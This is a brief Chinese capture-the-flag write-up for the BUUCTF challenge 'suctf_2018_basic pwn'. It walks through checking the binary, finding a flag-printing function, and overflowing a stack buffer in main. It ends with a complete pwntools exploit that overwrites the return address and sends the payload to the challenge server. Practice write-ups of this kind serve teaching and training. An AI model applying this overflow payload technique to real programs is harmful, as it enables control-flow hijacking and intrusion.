[BUUCTF]PWN——suctf_2018_basic pwn

suctf_2018_basic pwn

附件

步骤

1. 例行检查，64位程序，开启了RELRO和NX
   
2. 试运行一下程序，看看大概的情况
   
3. 64位ida载入，检索字符串的时候发现了读出flag的函数，flag_addr=0x401157
   
   main（）
   
   s存在溢出，简单的覆盖返回地址到后门函数类型的题目

完整exp

from pwn import *

r=remote('node3.buuoj.cn',25779)
flag_addr=0x401157

payload='a'*(0x110+8)+p64(flag_addr)

r.sendline(payload)

r.interactive()